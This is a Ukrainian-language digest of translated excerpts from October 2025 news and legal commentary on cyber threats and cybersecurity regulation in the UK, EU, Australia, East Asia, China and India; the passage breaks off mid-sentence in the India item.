Дії уряду підкріплені висновками Національного центру кібербезпеки (NCSC), який виявив, що кількість «надзвичайно значущих» кібератак, спрямованих проти Великобританії, з вересня минулого року зросла на 50%. Генеральний директор NCSC д-р Річард Хорн підкреслив, що понад половина всіх інцидентів, якими займався NCSC, були визнані «значущими на національному рівні», підтвердивши, що колективна схильність до серйозних наслідків зростає з тривожною швидкістю. У огляді особливо підкреслюються загрози з боку Китаю, який описується як «високорозвинений і потужний суб'єкт загрози», а також постійні занепокоєння щодо Росії, Ірану та Північної Кореї. Експерти галузі

вітають чіткий «заклик до дії» для генеральних директорів і членів правління, закликаючи їх повністю усвідомити ризик і підготувати свої підприємства до того, коли, а не якщо, відбудеться кібератака». ***(Ethan Claridge. UK Government sends letter to businesses warning of cyber security threats // Political Holdings Limited (https://www.holyrood.com/news/view,uk-government-sends-letter-to-businesses-warning-of-cyber-security-threats). 14.10.2025).***

***

«Зараз Великобританія щотижня стикається в середньому з чотирма «національно значущими» кібератаками — удвічі більше, ніж торік — що підкреслює загрозу, яка, за словами Національного центру кібербезпеки (NCSC), «зростає з і без того високого рівня». У глобальному масштабі приблизно половина з 2024 інцидентів була спричинена кіберзлочинцями, які прагнули отримати прибуток, а близько третини — операторами, що фінансуються державою. Головними об'єктами занепокоєння Великобританії залишаються «велика четвірка» державних акторів — Росія, Китай, Іран і Північна Корея, — але нещодавні масштабні вторгнення в Marks & Spencer, Jaguar Land Rover та інші компанії були здійснені англійськомовним молодіжним колективом Scattered Spider, що ілюструє, як недержавні групи можуть спричинити серйозні порушення…

Програми-вимагачі залишаються найгострішою загрозою, а нова модель «програми-вимагачі як послуга» (RaaS) зробила передові інструменти доступними майже для будь-кого, хто має злісні наміри. Такі групи, як пов'язана з Росією Qilin, яка нещодавно паралізувала японську Asahi Group, продають готове шкідливе програмне забезпечення своїм партнерам в обмін на 20-40 відсотків прибутку і навіть управляють порталами обслуговування клієнтів, щоб допомогти зловмисникам розгорнути код. Ця модель замінює повільний, високотехнічний підхід традиційних угруповань масштабованим бізнесом, який може вразити будь-яку організацію, що володіє конфіденційними даними і, ймовірно, готова платити…

Тим часом національні держави все частіше залучають або мовчазно заохочують злочинні мережі до атак на геополітичних супротивників, стираючи межу між шпигунством і хакерством з метою отримання прибутку. Війна Росії проти України породила хвилю прокремлівських хактивістів, які вибирають західні цілі залежно від обставин, що ускладнює передбачення їхньої діяльності. В результаті такого «шлюбу за розрахунком» уряди отримують більший кібервплив за невелику ціну, а злочинці — нові джерела доходу та певний захист з боку держави, що гарантує, що ситуація з кіберзагрозами залишатиметься нестабільною і тісно пов’язаною з глобальною політикою». ***(Will Barker. Who are the new-wave hackers bringing the world to a halt? // Future US, Inc. (https://theweek.com/tech/who-are-the-new-wave-hackers-bringing-the-world-to-a-halt). 15.10.2025).***

***

«Німецький депутат Європарламенту Даніель Фройнд, відомий критик Віктора Орбана, подав кримінальну скаргу в Німеччині, звинувативши

угорського прем'єр-міністра та «невідомих осіб» у спробі зламати його електронну пошту в Європарламенті за допомогою шпигунського програмного забезпечення Candiru безпосередньо перед виборами до Європарламенту 2024 року. У скарзі, поданій до прокуратури в Крефельді та підписаній Товариством за громадянські права, детально описано фішингове повідомлення, надіслане наприкінці травня від імені українського студента, який попросив Фройнда прокоментувати вступ України до ЄС і вставив шкідливе посилання… Пізніше ІТ-експерти парламенту попередили, що посилання містило шпигунське програмне забезпечення Candiru, яке США внесли до чорного списку в 2021 році за порушення прав людини, і припустили, що за атакою може стояти угорська розвідка. Фройнд, який очолював зусилля ЄС щодо заморожування коштів Угорщини та оскарження майбутнього головування Будапешта в Раді ЄС, заявляє, що успішна інфікування могло б викрити всі його дані та комунікації. Він та НУО вимагають повного розслідування, допиту свідків та незалежного криміналістичного аналізу. Угорський уряд не прокоментував цю ситуацію». ***(Nette Nöstlinger. MEP targeted by spyware files complaint against Hungary's Viktor Orbán // politico (https://www.politico.eu/article/spyware-targeted-mep-sues-hungarys-viktor-orban/). 15.10.2025).***

***

«Звіт Microsoft про цифрову оборону за перше півріччя 2025 року показує, що Латвія (64-те місце), Естонія (63-тє місце) та Литва (53-тє місце) займають низькі позиції в глобальному рейтингу країн, які найчастіше стають об'єктами кібератак, проте загрози навколо них посилюються. Ренате Страздіна з північноєвропейського центру Microsoft зазначає, що зловмисники, зокрема групи, які фінансуються державою, швидко впроваджують новітні інструменти, особливо штучний інтелект, і переносять свою увагу з центрального уряду на лікарні, школи, місцеві ради та малі та середні підприємства, які зберігають конфіденційні дані, але мають обмежений бюджет на безпеку…

Більше половини (52%) інцидентів, які Microsoft відстежувала по всьому світу, були пов'язані з програмним забезпеченням для вимагання викупу або іншими схемами вимагання, тоді як класичне шпигунство становило лише 4%; 80% усіх зловмисників — переважно опортуністи, які керуються жадобою наживи, а не державні суб'єкти — шукали особисті дані, які можна було б монетизувати. Штучний інтелект сприяє обом сторонам: злочинці автоматизують фішингові приманки та фейковий контент, тоді як захисники використовують аналітику штучного інтелекту, щоб усунути прогалини в виявленні…

Microsoft стверджує, що застарілі засоби безпеки вже не є достатніми; організації повинні модернізувати свої системи захисту, обмінюватися інформацією про загрози та налагоджувати співпрацю між галуззю та урядом, а уряди повинні створити правові рамки, які передбачають реальні наслідки для зловмисників. На індивідуальному рівні прості заходи, такі як увімкнення багатофакторної автентифікації, стійкої до фішингу, можуть заблокувати понад 99% атак, спрямованих на крадіжку особистих даних». ***(Baltic countries are not among most prone to cyber-attacks – Microsoft // The Baltic Times***

(https://www.baltictimes.com/baltic_countries_are_not_among_most_prone_to_cyber-attacks_-_microsoft/). 17.10.2025).

***

«Румунія планує внести поправки до Закону про енергетику 2012 року, щоб запровадити більш суворі вимоги до кібербезпеки для виробників відновлюваної енергії потужністю до 1 МВт, зокрема для фотоелектричних та когенераційних систем. Пропонований проект передбачає, що Національне управління з кібербезпеки (DNSC) має визначити необхідні технічні стандарти для цих систем, яким також має бути надано доступ до енергомережі та пріоритетне диспетчерське управління під наглядом DNSC… Ці заходи спрямовані на запобігання порушенням безпеки даних та крадіжці конфіденційної інформації з об'єктів енергогенерації учасниками ланцюга поставок або зловмисними державами, тим самим забезпечуючи стабільність енергомережі та безпеку енергопостачання. Ініціатива частково базується на Законі Європейського Союзу про нульові викиди в промисловості (NZIA), який вимагає встановлення попередніх кваліфікаційних критеріїв щодо кібербезпеки в тендерах на ключові чисті технології через відомі ризики ланцюга поставок. Цей крок відповідає зростаючим занепокоєнням з приводу кібербезпеки в Європі після попереджень на початку цього року щодо загроз безпеці, які становлять китайські інвертори в невеликих сонячних установках у таких країнах, як Чехія, Нідерланди та Литва, яка вже заборонила дистанційний доступ Китаю до певних систем управління енергією…» ***(Emiliano Bellini. Romania drafts cybersecurity rules for PV, cogeneration up to 1 MW // pv magazine (https://www.pv-magazine.com/2025/10/21/romania-drafts-cybersecurity-rules-for-pv-cogeneration-up-to-1-mw/). 21.10.2025).***

***

«Уряд Великої Британії просуває історичне законодавство щодо програм-вимагачів, спрямоване на обмеження виплат кіберзлочинцям та посилення звітності про інциденти, у відповідь на визнання Національним центром кібербезпеки програм-вимагачів найзначнішою загрозою національній безпеці, оскільки кількість жертв у Великій Британії з 2022 року подвоїлася. Пропонований пакет законодавчих заходів окреслює трирівневу стратегію, яка, у разі прийняття, стане першими конкретними правовими заходами Великої Британії проти програм-вимагачів…

По-перше, буде введено цільову заборону на виплати викупу за всіма організаціями державного сектору та операторами критичної національної інфраструктури (CNI) (включаючи енергетику, охорону здоров'я та транспорт), що має на меті зменшити прибутковість атак на ці життєво важливі системи. По-друге, режим запобігання виплатам в масштабах всієї економіки вимагатиме від усіх не заборонених суб'єктів повідомляти відповідні органи перед здійсненням будь-яких виплат викупу, що дозволить оцінити ризики санкцій або фінансування тероризму та покращити обмін інформацією, хоча цей захід викликав занепокоєння щодо операційних затримок.

По-третє, на всі організації у Великобританії буде покладено обов'язкове зобов'язання повідомляти про інциденти, що вимагатиме подання попереднього звіту протягом 72 годин після виявлення інциденту та повного звіту протягом 28 днів, незалежно від того, чи було сплачено викуп. Це має на меті покращити обізнаність про ситуацію в країні та можливості правоохоронних органів реагувати на інциденти. Хоча цільова заборона та обов'язкове повідомлення отримали значну підтримку під час консультацій, експерти галузі наголошують на необхідності чітких вказівок, узгодження з GDPR та ретельного врахування адміністративного навантаження. Очікується, що уряд продовжить законодавчу реформу в найближчі місяці, закликаючи організації готуватися до більш суворих регуляторних умов, де законність сплати викупу, особливо санкціонованим групам, залишається критичним і складним питанням…» ***(Tom Walters, Henry Clack, Richard Neylon, Tom Morrison, Toby Stephens and Aaron Tan Kai Ran. New Ransomware Legislation on the Horizon // Holman Fenwick Willan LLP (https://www.hfw.com/insights/new-ransomware-legislation-on-the-horizon/). 13.10.2025).***

***

«Регламент ЄС про цифрову операційну стійкість (DORA – Регламент 2022/2554) набирає чинності в січні 2025 року і вперше встановлює єдиний обов'язковий режим кіберстійкості для банків, страхових компаній, компаній з управління активами та їхніх постачальників ІКТ у всьому ЄС. Директори та ради директорів тепер несуть пряму і остаточну відповідальність за управління ризиками в сфері ІКТ і повинні бути готові діяти в разі кібератаки…

Якщо компанія, що підпадає під дію цього регламенту, зазнає інциденту, вона повинна:

• негайно запустити план реагування на інциденти та мобілізувати всі відповідні команди;

• класифікувати подію, використовуючи детальні регуляторні технічні стандарти;

• поінформувати правління;

• повідомити національний наглядовий орган протягом чотирьох годин після класифікації події (і в будь-якому випадку протягом 24 годин після першого виявлення), подати проміжний звіт протягом 72 годин після первинного повідомлення та подати остаточний звіт протягом одного місяця;

• провести аналіз першопричин, усунути вразливі місця та оновити політики, рамки ризиків та посібники…

Технічні стандарти впровадження містять уніфіковані шаблони звітів, що охоплюють опис, вплив, заходи щодо зменшення ризиків, причини та залишкові ризики.

Найкраща практика вимагає:

• чітких внутрішніх шляхів ескалації, що забезпечують раді директорів можливість відстежувати ситуацію в режимі реального часу;

• призначення менеджера з реагування на інциденти, який координуватиме роботу експертів-криміналістів, юристів, переговорників з питань викупу та регуляторних органів;

• регулярного навчання ради директорів з питань загроз у сфері ІКТ та обов'язків DORA;

• надійних контрактів та нагляду за зовнішніми постачальниками ІКТ;

• розгляду можливості укладення кіберстрахування, що включає підтримку з боку експертів-криміналістів, юристів та переговорників…

Недотримання вимог може призвести до штрафів з боку регуляторних органів та серйозної шкоди репутації. Тому DORA ставить кіберризики в центр корпоративного управління та робить проактивні інвестиції, нагляд на рівні правління та дисципліновану звітність обов'язковими для кожної організації фінансового сектору ЄС». ***(Amit Tyagi, Aurélia Viémont, Milan Dans, Christopher Gliddon and Deepali Parjiea. Cyber Space: Global insights on cyber and data risks for insurers October 2025 - Cyber incident response and compliance with DORA // CMS Legal (https://cms-lawnow.com/en/ealerts/2025/10/cyber-space-global-insights-on-cyber-and-data-risks-for-insurers-october-2025-cyber-incident-response-and-compliance-with-dora?utm_source=lawnow-realtime&utm_medium=email&utm_campaign=Cyber%20Space:%20Global%20insights%20on%20cyber%20and%20data%20risks%20for%20insurers%20October%202025%20%e2%80%93%20Cyber%20incident%20response%20and%20compliance%20with%20DORA&utm_id=6012&utm_term=read_more&utm_content=732506). 16.10.2025).***

***

«Кібербезпека стала стратегічним питанням у європейських операціях злиття та поглинання, що обумовлено подвійним регуляторним тиском з боку Закону ЄС про кіберстійкість (CRA) та NIS2. CRA, який набере чинності в грудні 2027 року, встановлює обов'язкові принципи «безпеки за замовчуванням», управління вразливостями та післяпродажний нагляд за продуктами з цифровими елементами (PdE), а також суворі вимоги та сертифікацію третіми сторонами для критично важливих продуктів, перелічених у Додатку IV. NIS2, тим часом, спрямований на основних та важливих постачальників послуг, вимагаючи надійного управління ризиками, швидкого повідомлення про інциденти та накладаючи санкції у розмірі до 10 мільйонів євро або 2% від глобального обороту, з потенційною особистою відповідальністю для органів управління…

Разом ці рамки вводять нові рівні складності та ризику, проте дотримання вимог кібербезпеки часто залишається сліпою плямою на ранній стадії проведення комплексної перевірки при злитті та поглинанні. Об'єкти, особливо ті, чиї цифрові продукти підпадають під широку сферу дії CRA, повинні продемонструвати дотримання протоколів безпеки життєвого циклу, інакше покупець може зіткнутися із значними регуляторними ризиками.

Фахівці з питань злиттів і поглинань повинні з самого початку активно враховувати вимоги CRA та NIS2 у процесі укладання угод. Дотримання вимог слід розглядати не лише як технічну проблему, а як стратегічний ризик, що впливає на

оцінку та структуру угоди, з огляду на вимоги NIS2 щодо управління та вплив CRA на цілісність продукту. Вчасне врахування цих вимог дозволяє покупцям домогтися кращих умов, структурувати відповідні гарантії та відшкодування, а також розглядати надійне дотримання вимог кібербезпеки не лише як засіб зменшення ризику, а як ключовий фактор створення вартості та можливість для відповідального масштабування та виходу на ринок…». ***(Olaf van Haperen, Pieter Paul Terpstra, Robbert Santifort, Ilham Ezzamouri. Cybersecurity in M&A: why the cyber resilience demands its own seat at the deal table // Eversheds Sutherland (https://www.eversheds-sutherland.com/en/global/insights/cybersecurity-in-manda-why-the-cyber-resilience-demands-its-own-seat-at-the-deal-table). 22.10.2025).***

***

Австралія та Нова Зеландія

«Нове дослідження «Beyond the Breach» (За межами порушення), проведене Hall & Wilcox та Porter Novelli, виявляє значну і зростаючу розбіжність між австралійськими споживачами та бізнес-лідерами щодо належного реагування на кіберінциденти. Хоча 75% австралійців зараз цінують конфіденційність своїх даних більше, ніж зручність онлайн-послуг, лише 20% вважають, що організації роблять достатньо для захисту їхніх даних, що є різким зниженням порівняно з 41% у 2023 році…

Дослідження підкреслює, що довіра споживачів є надзвичайно крихкою; лише 2% довіряють організаціям, які після порушення застосовують мінімальний підхід, що передбачає лише дотримання вимог. Однак довіра значно зростає, коли компанії діють швидко, чітко та з емпатією: 25% споживачів готові знову співпрацювати з такою організацією. Основною розбіжністю є те, що, хоча 100% бізнес-лідерів погоджуються, що прозорість є необхідною, лише 50% вважають, що вони повинні виходити за межі мінімальних законодавчих вимог, незважаючи на те, що 45% постраждалих австралійців повідомляють про емоційний стрес, а 10% потребують відпустки…

Автори рекомендують три кроки для відновлення довіри: (1) швидше інформувати та адаптувати «своєчасність» до профілю ризиків кожного бренду, (2) виходити за межі законодавчих зобов'язань шляхом проактивної прозорості та незалежних перевірок, а також (3) проявляти емпатію, визнаючи шкоду та пропонуючи значну підтримку. Компанії, які інвестують у ці заходи, будуть мати кращі можливості для збереження репутації та лояльності клієнтів, коли — а не якщо — трапиться кіберінцидент…» ***(Eden Winokur. New report reveals what consumers want after a data breach - and what they're not getting // Hall & Wilcox (https://hallandwilcox.com.au/news/new-report-reveals-what-consumers-want-after-a-data-breach-and-what-theyre-not-getting/). 07.10.2025).***

***

«Щорічний звіт про кіберзагрози на 2024-25 роки, опублікований Австралійським центром кібербезпеки (ACSC) при Австралійському

управлінні зв'язку (ASD), показує, що зловмисна кібердіяльність продовжує впливати на австралійців із зростаючою частотою, вартістю та серйозністю. Протягом останнього фінансового року до ACSC надійшло понад 84 700 повідомлень про кіберзлочини, що в середньому становить одне повідомлення кожні шість хвилин, а кількість дзвінків на гарячу лінію з кібербезпеки Австралії зросла на 16%. ACSC відреагувало на понад 1200 інцидентів з кібербезпеки, що на 11% більше, ніж у попередньому році. Крім того, ACSC понад 1700 разів повідомляло організації про потенційно зловмисну діяльність, що на 83% більше, ніж у попередньому році…

Трьома найпоширенішими видами кіберзлочинів, про які повідомляли громадяни, були шахрайство з особистими даними, шахрайство в інтернет-магазинах та шахрайство в інтернет-банкінгу, причому кіберзлочинці активно займалися крадіжкою облікових даних та купівлею викрадених імен користувачів і паролів у даркнеті. Серйозну і дедалі більшу загрозу становлять також суб'єкти, що фінансуються державою, які націлені на мережі австралійського уряду, критичну інфраструктуру (КІ) та підприємства з метою досягнення державних цілей, зокрема потенційного порушення роботи критичних служб і комунікацій. З огляду на велику кількість загроз, зростаючі фінансові втрати та атаки програм-вимагачів, ACSC закликає австралійців негайно вжити основних, високоефективних заходів захисту: увімкнути багатофакторну автентифікацію (MFA) для важливих облікових записів, використовувати довгі та унікальні паролі (бажано за допомогою менеджера паролів), увімкнути автоматичне оновлення програмного забезпечення та бути пильними щодо фішингових повідомлень і шахрайських схем…» ***(Australian Government Annual Cyber Threat Report released // Security Media (https://australiancybersecuritymagazine.com.au/australian-government-annual-cyber-threat-report-released/). 14.10.2025).***

***

Японія, Південна Корея та країни Тихоокеанського регіону

«Корейський орган з нагляду за кібербезпекою стикається з нестачею робочої сили на тлі зростання кількості кіберзагроз, про які повідомляють місцеві підприємства, заявив у неділю законодавець.

Посилаючись на дані, надані Корейським агентством інтернет-безпеки (KISA), представник Кім Чан Гьом від Партії народної сили заявив, що наглядовий орган отримав 1887 повідомлень про порушення безпеки від корейських компаній у 2024 році, що на 47 відсотків більше, ніж роком раніше.

Згідно з даними, протягом січня-серпня 2025 року кількість повідомлень про порушення становила 1501.

Незважаючи на сплеск кібератак, про які повідомляють підприємства, кількість співробітників реагування склала лише 132 особи, що лише на дев'ять більше, ніж у 2022 році.

За словами законодавця, за той самий період бюджет Кореї на системи хакерства та реагування на віруси зріс на 22 відсотки до 73,6 мільярда вон (52,4

мільйона доларів)…» ***(Cybersecurity watchdog faces work force shortage, lawmaker says // JoongAng Ilbo Co., Ltd. (https://koreajoongangdaily.joins.com/news/2025-10-05/national/socialAffairs/Cybersecurity-watchdog-faces-work-force-shortage-lawmaker-says/2414900). 05.10.2025).***

***

«Малайзійські підприємства стикаються з ескалацією кількості кібератак через Інтернет, що робить їх одними з найбільш уразливих у Південно-Східній Азії. За даними Kaspersky, у першій половині 2025 року (H1’25) в країні було зафіксовано 190 556 спроб зловживань, що в середньому становить понад 1050 атак на день, що на 16% більше, ніж за аналогічний період минулого року. За цим показником Малайзія посідає третє місце в регіоні за кількістю спроб експлойтів, поступаючись Індонезії (524 657) і В'єтнаму (301 800)… Експлойти — це шкідливі програми, призначені для використання незахищених вразливостей у програмному забезпеченні або операційних системах з метою отримання несанкціонованого доступу. Крім того, з точки зору загальних веб-загроз, малайзійські підприємства зіткнулися з 1,70 мільйона інцидентів у першому півріччі 2025 року, що зробило Малайзію другою за кількістю атак країною в регіоні, поступаючись лише Таїланду (2,52 мільйона). Kaspersky підкреслив, що цей сплеск підкреслює невблаганність зловмисників і необхідність для малайзійських підприємств усунути прогалини в незахищених системах, щоб зміцнити цифровий прогрес країни». ***(Cyber threats – Malaysian businesses among most targeted in Southeast Asia: Kaspersky // Sun Media Corporation Sdn. Bhd. (https://thesun.my/business-news/cyber-threats-malaysian-businesses-among-most-targeted-in-southeast-asia-kaspersky-AA15044114). 06.10.2025).***

***

«…Тайвань переглянув свій Закон про управління кібербезпекою, щоб протидіяти зростаючим кіберзагрозам. Поправка від 29 серпня 2025 року, яка набуде чинності після того, як Виконавча Юань визначить дату її введення, надає Міністерству цифрових справ (MODA) статус головного органу, а його Адміністрація з питань кібербезпеки буде відповідати за щоденне виконання закону… Дія закону тепер поширюється далеко за межі традиційних операторів критичної інфраструктури та державних підприємств: будь-яке підприємство, організація або установа, що контролюється урядом, також буде розглядатися як «спеціальна недержавна установа» і підпадатиме під дію Закону. Усі суб'єкти, на яких поширюється дія Закону, повинні призначити головного спеціаліста з інформаційної безпеки та принаймні одного штатного фахівця з кібербезпеки, забезпечити, щоб аутсорсингові IT-підрядники мали визнані сертифікати безпеки, включити договірні гарантії та брати участь у кібернавчаннях під керівництвом MODA. MODA та регуляторні органи сектору отримують чіткі повноваження з проведення розслідувань, включаючи право викликати персонал, вимагати експертизи від третіх сторін та проводити інспекції на місці; ухилення від виконання або перешкоджання заборонені. Регуляторні органи тепер можуть забороняти або обмежувати використання обладнання, програмного забезпечення

або послуг, які вважаються прямою або непрямою загрозою національній безпеці, хоча необхідні продукти можуть бути дозволені за умови суворого контролю в кожному окремому випадку… Штрафи подвоїлися: за неповідомлення про серйозний інцидент можуть бути накладені штрафи в розмірі до 10 мільйонів тайваньських доларів (≈ 333 000 доларів США), а серйозні внутрішні порушення повинні тягнути за собою дисциплінарні заходи. Відповідно до глобальних ініціатив, таких як Директива ЄС NIS 2, поправка різко підвищує планку відповідності в Тайвані; організації, які можуть потрапити в нову розширену сферу застосування, повинні без затримки провести аудит своєї системи управління безпекою, кадрового забезпечення та контрактів з постачальниками…» ***(Grace Shao and Sean J.C. Shih. Taiwan: Amendment to Cybersecurity Management Act // Baker & McKenzie (https://insightplus.bakermckenzie.com/bm/data-technology/taiwan-amendment-to-cybersecurity-management-act_1). 07.10.2025).***

***

«Недавня хвиля кібератак викрила значні слабкості цифрової оборони японських підприємств, що викликало занепокоєння щодо можливих перебоїв у продажах та ланцюгах постачання. Цей сплеск, проявом якого стали інциденти з програмним забезпеченням-вимагачем, що змусили Asahi Group Holdings повернутися до телефонних замовлень і залишили роздрібних продавців, які залежать від логістичної компанії Askul, без можливості продавати товари в Інтернеті, пов'язують із такими факторами, як збільшення віддаленої роботи та більш широке використання криптовалюти та штучного інтелекту зловмисниками. Дані Токійського управління поліції показують, що в першій половині 2025 року було зареєстровано 116 випадків використання програм-вимагачів, що відповідає рекорду, встановленому в 2022 році…

Експерти з безпеки припускають, що Японія, з її численними прибутковими цілями, все частіше стає об'єктом атак, долаючи попередні ненавмисні захисні бар'єри, такі як повільне впровадження цифрових робочих процесів у корпораціях та обмежене володіння англійською мовою, що стримувало банди хакерів, які не були ознайомлені зі складними криптовалютними платежами. Хоча останні інциденти в першу чергу вплинули на роздрібну торгівлю, зачепивши такі компанії, як Muji та Sogo & Seibu, виробники з менш надійними системами стикаються з ризиком більш серйозних і дорогих збоїв, як це було в минулому, наприклад, під час зупинки роботи порту Нагоя в 2023 році та витоку даних Kadokawa в 2024 році.

Цей ризик посилюється структурою японської корпоративної IT-інфраструктури, де компанії часто делегують цілі системи зовнішнім інтеграторам, зменшуючи внутрішній досвід у сфері кібербезпеки. Професор Тетсутаро Уехара зазначає, що IT не інтегрована в корпоративну стратегію, а посада директора з інформаційних технологій часто є символічною або взагалі відсутньою. Згідно з доповіддю Fastly, лише 46% японських компаній призначили директора з інформаційної безпеки, що значно нижче за середній світовий показник у 70%. Хоча на Азіатсько-Тихоокеанський регіон наразі припадає менша частка жертв кіберзлочинів у світі (12% порівняно з 64% у Північній Америці), експерти з

безпеки попереджають, що ця цифра, ймовірно, зросте, що свідчить про те, що Японія ще не подолала першу велику хвилю кіберзлочинів». ***(Japanese companies brace themselves for more attacks as cybercrimes climb // SPH Media Limited (https://www.straitstimes.com/asia/east-asia/japanese-companies-brace-themselves-for-more-attacks-as-cybercrimes-climb). 23.10.2025).***

***

«Незважаючи на те, що Південна Корея є однією з найбільш підключених до мережі країн світу, нещодавні кібератаки свідчать про тривожну розбіжність між її технологічним прогресом та стійкістю кібербезпеки, що робить кібербезпеку критично важливим компонентом її національної програми безпеки. Прискорення цифрових трансформацій у поєднанні з швидким впровадженням штучного інтелекту, що створює складні методи атак (наприклад, з використанням LLM), різко збільшило вразливість до загроз, що мають фінансове та геополітичне підґрунтя. Дослідження Cloudflare 2023 року показало, що понад 78% фахівців з кібербезпеки в Азіатсько-Тихоокеанському регіоні стикалися з інцидентами протягом останнього року, проте лише 38% відчували себе добре підготовленими…

Ця неготовність завдає значних економічних збитків: цього року глобальний обсяг кіберзлочинності оцінюється в 10,5 трлн доларів. Як об'єкт, що має високий рівень підключення до мережі, Південна Корея стикається з типовими загрозами, такими як шкідливе програмне забезпечення, програми-вимагачі, атаки на ланцюги постачання та фішинг. Критична інфраструктура та державні організації часто стають об'єктами атак; наприклад, Конституційний суд зазнав понад 1,16 мільйона кібератак між 2017 роком і серпнем 2025 року, а Банк Кореї зазнав 24 успішних вторгнень з 2020 року. Приватні компанії, такі як Lotte Card та великі телекомунікаційні провайдери, зазнали значних витоків даних та бізнес-втрат, які часто ускладнювалися недооцінкою або затримкою у повідомленні про інциденти…

Регулюючі органи, такі як Служба фінансового нагляду, недостатньо підготовлені, оскільки з 2019 року не проводилося жодних перевірок кібербезпеки великих кредитних компаній. Нинішня нормативно-правова база роздроблена між міністерствами, що призводить до дублювання функцій і недостатнього фінансування. Крім того, малі та середні підприємства (МСП), на які припадає 92% цілей кібератак у Кореї, є особливо вразливими через недостатнє фінансування та брак кваліфікованого персоналу, і лише 27% з них мають внутрішні політики з кібербезпеки. У світі існує дефіцит робочої сили у вигляді 4,8 мільйона фахівців з кібербезпеки, і ця проблема відображається в Кореї, де компанії борються з відтоком кадрів через низьку заробітну плату. Для вирішення цих системних проблем Південна Корея потребує спрощеної та обов'язкової системи повідомлення про інциденти, кращої координації між державними установами та політичної підтримки, включаючи створення обов'язкової системи управління фахівцями з кібербезпеки, щоб підвищити готовність та стійкість країни…» ***(Song Kyung-jin. Step up Korea's cybersecurity readiness // The Korea Times***

(https://www.koreatimes.co.kr/opinion/20251020/step-up-koreas-cybersecurity-readiness). 20.10.2025).

***

Китай та Індія

«11 вересня 2025 року Адміністрація кіберпростору Китаю опублікувала Адміністративні заходи щодо повідомлення про національні інциденти в сфері кібербезпеки (Заходи), які набудуть чинності 1 листопада 2025 року. Ці Заходи уточнюють і впроваджують положення законодавства вищого рівня, такого як Закон про кібербезпеку (CSL), Закон про безпеку даних (DSL) та Закон про захист персональних даних (PIPL), шляхом систематичного визначення конкретних вимог, процедур та обов'язків щодо повідомлення про інциденти кібербезпеки…

Інцидент у сфері кібербезпеки визначається в широкому розумінні як подія, що завдає шкоди мережі, інформаційній системі або даним внаслідок різних факторів (людських, кібератак, дефектів або форс-мажорних обставин), що призводить до негативних наслідків для держави, суспільства або економіки. Оператори мереж, які будують, експлуатують або надають послуги через мережі на території Китаю, підпадають під дію цих Заходів; у разі аутсорсингу послуг основне зобов'язання щодо звітності залишається за компанією, яка доручила виконання робіт…

Супровідні Керівні принципи класифікації інцидентів у сфері кібербезпеки поділяють інциденти на чотири рівні: особливо серйозні, серйозні, значні та загальні, залежно від ступеня тяжкості та соціальної шкоди. Про будь-який інцидент, класифікований як «значний» або вище, необхідно повідомляти. Оператори критичної інформаційної інфраструктури мають дотримуватися найсуворіших термінів, вимагаючи повідомлення відповідних органів протягом години після виявлення, тоді як інші оператори мереж зазвичай мають чотири години для повідомлення провінційних органів управління кіберпростором.

Процедура звітування вимагає подання первинного звіту після виявлення інциденту, в якому має бути детально викладена основна інформація, вплив, попередній аналіз та запропоновані заходи реагування, а також оновлення, що подаються у міру виникнення нових обставин. Комплексний підсумковий звіт після інциденту, що охоплює причини, заходи реагування, збитки та відповідальність, має бути складений та поданий протягом 30 днів після завершення інциденту. Неповідомлення може призвести до суворих покарань відповідно до чинного законодавства, але Заходи пропонують збалансований підхід, передбачаючи пом'якшення або звільнення від відповідальності для операторів, які вживають розумних захисних заходів і своєчасно повідомляють про інцидент, заохочуючи активну співпрацю та дотримання вимог. Компаніям настійно рекомендується розробити плани реагування на надзвичайні ситуації та провести навчання персоналу до набрання чинності Заходів у листопаді…» ***(Panpan Tang, Daisy Lv. China Releases Administrative Measures for the Reporting of National Cybersecurity Incidents // CMS Legal (https://cms-lawnow.com/en/ealerts/2025/10/china-releases-***

administrative-measures-for-the-reporting-of-national-cybersecurity-incidents). 10.10.2025).

***

«…Китай значно посилює свою систему кібербезпеки та захисту даних за допомогою кількох ключових регуляторних оновлень. З 1 листопада 2025 року Адміністрація кіберпростору Китаю (CAC) запровадить Заходи щодо повідомлення про національні інциденти кібербезпеки, які передбачають чіткі та швидкі зобов'язання щодо повідомлення для майже всіх операторів мереж у Китаї. Некритичні суб'єкти господарювання повинні повідомляти про інциденти кібербезпеки, включаючи ті, що впливають на безпеку даних/особистої інформації або національні інтереси, протягом 4 годин після їх виявлення, а критичні інфраструктури повинні повідомляти про них протягом 1 години… Інциденти, про які необхідно повідомляти, класифікуються за кількісними пороговими значеннями, такими як витік даних, що стосується 1 мільйона осіб, або прямі економічні збитки в розмірі 5 мільйонів юанів. Після первинного повідомлення необхідно подати додаткове повідомлення протягом 72 годин та остаточний підсумковий звіт протягом 30 днів після завершення інциденту. Недотримання вимог призводить до накладення штрафів на суб'єктів господарювання та відповідальних осіб відповідно до чинного законодавства, хоча своєчасне повідомлення та вжиття заходів для усунення наслідків можуть зменшити розмір штрафів. Підприємства повинні створити внутрішні системи повідомлення та зобов'язати сторонніх постачальників послуг на підставі договору негайно повідомляти про інциденти…

Паралельно з законодавчими змінами, проект Положення про створення комітетів з нагляду за захистом персональних даних на основних онлайн-платформах вимагатиме від платформ, що входять до списку CAC, створити комітети, що складаються щонайменше з семи членів, причому щонайменше дві третини з них повинні бути незалежними зовнішніми членами, для нагляду за системами захисту персональних даних та дотриманням вимог. Крім того, проект поправок до Закону про кібербезпеку пропонує значно підвищити адміністративні штрафи, причому штрафи для суб'єктів господарювання, які не виконують зобов'язання щодо мережевої безпеки, можуть досягати 500 000 юанів, а за порушення з «надзвичайно серйозними наслідками» (наприклад, порушення безпеки даних у великих масштабах) — до 10 мільйонів юанів. Ці зміни відображають прагнення Китаю створити більш суворе та складне регуляторне середовище, що вимагає від підприємств підвищеної пильності». ***(Dora Si, Shawn Tang. Major changes to China's cybersecurity framework on the horizon // Deacons (https://www.deacons.com/2025/10/13/major-changes-to-chinas-cybersecurity-framework-on-the-horizon/). 13.10.2025).***

***

«Індійська сфера кібербезпеки стикається з поглибленням дефіциту талантів. Нещодавнє опитування ISACA показало, що 40% індійських команд з кібербезпеки не мають достатньої кількості персоналу, а 68% мають вакансії,

незважаючи на зростаючі кіберризики. Цю проблему ускладнює тривожне скорочення внутрішнього навчання: лише 34% організацій зараз пропонують навчання для співробітників, які не займаються безпекою, для переходу на посади в сфері кібербезпеки, що є різким падінням порівняно з 50% минулого року, незважаючи на те, що 39% нинішніх співробітників спочатку працювали в інших галузях…

